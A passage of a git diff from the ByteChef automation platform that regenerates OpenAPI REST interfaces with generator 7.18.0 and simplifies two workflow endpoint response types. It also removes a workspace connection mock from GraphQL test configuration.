 import com.bytechef.atlas.configuration.service.WorkflowService;
 import com.bytechef.automation.configuration.facade.ProjectFacade;
 import com.bytechef.automation.configuration.facade.ProjectWorkflowFacade;
-import com.bytechef.automation.configuration.facade.WorkspaceConnectionFacade;
 import com.bytechef.automation.configuration.service.ProjectService;
 import com.bytechef.automation.configuration.service.ProjectWorkflowService;
 import com.bytechef.platform.category.service.CategoryService;
@@ -38,8 +37,7 @@
 @Retention(RetentionPolicy.RUNTIME)
 @MockitoBean(types = {
     CategoryService.class, ProjectFacade.class, ProjectService.class, ProjectWorkflowFacade.class,
-    ProjectWorkflowService.class, TagService.class, WorkflowService.class, WorkflowFacade.class,
-    WorkspaceConnectionFacade.class
+    ProjectWorkflowService.class, TagService.class, WorkflowService.class, WorkflowFacade.class
 })
 public @interface AutomationConfigurationGraphQlConfigurationSharedMocks {
 }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/config/AutomationConfigurationGraphQlTestConfiguration.java b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/config/AutomationConfigurationGraphQlTestConfiguration.java
index b9fb68cd0ee..bb595de2d52 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/config/AutomationConfigurationGraphQlTestConfiguration.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/java/com/bytechef/automation/configuration/web/graphql/config/AutomationConfigurationGraphQlTestConfiguration.java
@@ -19,7 +19,6 @@
 import com.bytechef.atlas.configuration.service.WorkflowService;
 import com.bytechef.automation.configuration.facade.ProjectFacade;
 import com.bytechef.automation.configuration.facade.ProjectWorkflowFacade;
-import com.bytechef.automation.configuration.facade.WorkspaceConnectionFacade;
 import com.bytechef.automation.configuration.service.ProjectService;
 import com.bytechef.automation.configuration.service.ProjectWorkflowService;
 import com.bytechef.platform.category.service.CategoryService;
@@ -83,10 +82,4 @@ public WorkflowService workflowService() {
     public WorkflowFacade workflowFacade() {
         return Mockito.mock(WorkflowFacade.class);
     }
-
-    @Bean
-    @Primary
-    public WorkspaceConnectionFacade workspaceConnectionFacade() {
-        return Mockito.mock(WorkspaceConnectionFacade.class);
-    }
 }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/resources/graphql/test.graphqls b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/resources/graphql/test.graphqls
index 3d8c325fbb8..a63ff22bfbd 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/resources/graphql/test.graphqls
+++ b/server/libs/automation/automation-configuration/automation-configuration-graphql/src/test/resources/graphql/test.graphqls
@@ -1,9 +1,9 @@
 # Test-only GraphQL base operations and minimal type stubs for GraphQL slice tests in this module.
 
 # Base operation types so that 'extend type Query/Mutation' from main resources can merge.
-type Query {
-    _placeholder: Boolean
-}
+#type Query {
+#    _placeholder: Boolean
+#}
 
 type Mutation {
     _placeholder: Boolean
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/.openapi-generator/FILES b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/.openapi-generator/FILES
index 9d5a51b5d90..af95db57f12 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/.openapi-generator/FILES
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/.openapi-generator/FILES
@@ -20,9 +20,7 @@ src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentDefi
 src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionBaseModel.java
 src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionModel.java
 src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectDeploymentWorkflowJob200ResponseModel.java
-src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectWorkflow200ResponseModel.java
 src/main/java/com/bytechef/automation/configuration/web/rest/model/CredentialStatusModel.java
-src/main/java/com/bytechef/automation/configuration/web/rest/model/DuplicateWorkflow200ResponseModel.java
 src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectBasicModel.java
 src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentBasicModel.java
 src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentModel.java
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/.openapi-generator/VERSION b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/.openapi-generator/VERSION
index 3821090fd4e..1b2d969d190 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/.openapi-generator/VERSION
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/.openapi-generator/VERSION
@@ -1 +1 @@
-7.19.0
+7.18.0
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ApiUtil.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ApiUtil.java
index def7d155232..051ff6e3471 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ApiUtil.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ApiUtil.java
@@ -9,11 +9,9 @@ public class ApiUtil {
     public static void setExampleResponse(NativeWebRequest req, String contentType, String example) {
         try {
             HttpServletResponse res = req.getNativeResponse(HttpServletResponse.class);
-            if (res != null) {
-                res.setCharacterEncoding("UTF-8");
-                res.addHeader("Content-Type", contentType);
-                res.getWriter().print(example);
-            }
+            res.setCharacterEncoding("UTF-8");
+            res.addHeader("Content-Type", contentType);
+            res.getWriter().print(example);
         } catch (IOException e) {
             throw new RuntimeException(e);
         }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/CategoryApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/CategoryApi.java
index a354d266eb8..65a5dc775ad 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/CategoryApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/CategoryApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "category", description = "The Automation Category API")
 public interface CategoryApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ComponentDefinitionApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ComponentDefinitionApi.java
index b5bf7aa5d8f..7a3230f3d2a 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ComponentDefinitionApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ComponentDefinitionApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "component-definition", description = "The Automation Component Definition Internal API")
 public interface ComponentDefinitionApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ConnectionApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ConnectionApi.java
index eb72b5f19f3..7f7d8bf82e1 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ConnectionApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ConnectionApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -35,7 +35,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connection", description = "The Automation Connection Internal API")
 public interface ConnectionApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ConnectionTagApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ConnectionTagApi.java
index f867dda1979..afb296906ca 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ConnectionTagApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ConnectionTagApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connection-tag", description = "The Automation Connection Tag Internal API")
 public interface ConnectionTagApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectApi.java
index 1907af69457..16d6a49c99e 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -37,7 +37,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "project", description = "The Automation Project Internal API")
 public interface ProjectApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectDeploymentApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectDeploymentApi.java
index 4b90e32847c..b6e2d8f455b 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectDeploymentApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectDeploymentApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -36,7 +36,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "project-deployment", description = "The Automation Project Deployment Internal API")
 public interface ProjectDeploymentApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectDeploymentTagApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectDeploymentTagApi.java
index cd45b201dd7..d1bc47ad042 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectDeploymentTagApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectDeploymentTagApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "project-deployment-tag", description = "The Automation Project Deployment Tag Internal API")
 public interface ProjectDeploymentTagApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectTagApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectTagApi.java
index d0925563500..f5af5c84145 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectTagApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/ProjectTagApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "project-tag", description = "The Automation Project Tag Internal API")
 public interface ProjectTagApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WebhookTriggerTestApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WebhookTriggerTestApi.java
index 165baaed510..4cd5f8069f7 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WebhookTriggerTestApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WebhookTriggerTestApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "webhook-trigger-test", description = "The Automation Webhook Trigger Internal API")
 public interface WebhookTriggerTestApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WorkflowApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WorkflowApi.java
index e859d3fae2a..ddcc7384d1e 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WorkflowApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WorkflowApi.java
@@ -1,12 +1,10 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
 package com.bytechef.automation.configuration.web.rest;
 
-import com.bytechef.automation.configuration.web.rest.model.CreateProjectWorkflow200ResponseModel;
-import com.bytechef.automation.configuration.web.rest.model.DuplicateWorkflow200ResponseModel;
 import org.springframework.lang.Nullable;
 import com.bytechef.automation.configuration.web.rest.model.WorkflowModel;
 import io.swagger.v3.oas.annotations.ExternalDocumentation;
@@ -36,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "workflow", description = "The Automation Workflow Internal API")
 public interface WorkflowApi {
@@ -61,7 +59,7 @@ default Optional<NativeWebRequest> getRequest() {
         tags = { "workflow" },
         responses = {
             @ApiResponse(responseCode = "200", description = "The project workflow id.", content = {
-                @Content(mediaType = "application/json", schema = @Schema(implementation = CreateProjectWorkflow200ResponseModel.class))
+                @Content(mediaType = "application/json", schema = @Schema(implementation = Long.class))
             })
         }
     )
@@ -71,19 +69,10 @@ default Optional<NativeWebRequest> getRequest() {
         produces = { "application/json" },
         consumes = { "application/json" }
     )
-    default ResponseEntity<CreateProjectWorkflow200ResponseModel> createProjectWorkflow(
+    default ResponseEntity<Long> createProjectWorkflow(
         @NotNull @Parameter(name = "id", description = "The id of a project.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id,
         @Parameter(name = "WorkflowModel", description = "", required = true) @Valid @RequestBody WorkflowModel workflowModel
     ) {
-        getRequest().ifPresent(request -> {
-            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
-                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
-                    String exampleString = "{ \"projectWorkflowId\" : 0 }";
-                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
-                    break;
-                }
-            }
-        });
         return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
 
     }
@@ -134,7 +123,7 @@ default ResponseEntity<Void> deleteWorkflow(
         tags = { "workflow" },
         responses = {
             @ApiResponse(responseCode = "200", description = "The id of a new duplicated workflow object.", content = {
-                @Content(mediaType = "application/json", schema = @Schema(implementation = DuplicateWorkflow200ResponseModel.class))
+                @Content(mediaType = "application/json", schema = @Schema(implementation = String.class))
             })
         }
     )
@@ -143,19 +132,10 @@ default ResponseEntity<Void> deleteWorkflow(
         value = WorkflowApi.PATH_DUPLICATE_WORKFLOW,
         produces = { "application/json" }
     )
-    default ResponseEntity<DuplicateWorkflow200ResponseModel> duplicateWorkflow(
+    default ResponseEntity<String> duplicateWorkflow(
         @NotNull @Parameter(name = "id", description = "The id of a project.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id,
         @NotNull @Parameter(name = "workflowId", description = "The id of a workflow.", required = true, in = ParameterIn.PATH) @PathVariable("workflowId") String workflowId
     ) {
-        getRequest().ifPresent(request -> {
-            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
-                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
-                    String exampleString = "{ \"workflowId\" : \"workflowId\" }";
-                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
-                    break;
-                }
-            }
-        });
         return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
 
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WorkspaceApi.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WorkspaceApi.java
index 343b8ca670b..d4fc8853c30 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WorkspaceApi.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/WorkspaceApi.java
@@ -1,5 +1,5 @@
 /*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.19.0).
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
  * https://openapi-generator.tech
  * Do not edit the class manually.
  */
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "workspace", description = "The Automation Workspace Internal API")
 public interface WorkspaceApi {
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/AuthorizationTypeModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/AuthorizationTypeModel.java
index 651031df869..bbb73c2c7e5 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/AuthorizationTypeModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/AuthorizationTypeModel.java
@@ -20,7 +20,7 @@
  * The authorization type.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public enum AuthorizationTypeModel {
   
   API_KEY("API_KEY"),
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CategoryModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CategoryModel.java
index df7d1f8c8eb..cda7369f37e 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CategoryModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CategoryModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "Category", description = "A category.")
 @JsonTypeName("Category")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class CategoryModel {
 
   private @Nullable String createdBy;
@@ -236,7 +236,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentCategoryModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentCategoryModel.java
index 9fa25e68f73..b19fbff6cd2 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentCategoryModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentCategoryModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "ComponentCategory", description = "A category of component.")
 @JsonTypeName("ComponentCategory")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ComponentCategoryModel {
 
   private String name;
@@ -112,7 +112,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
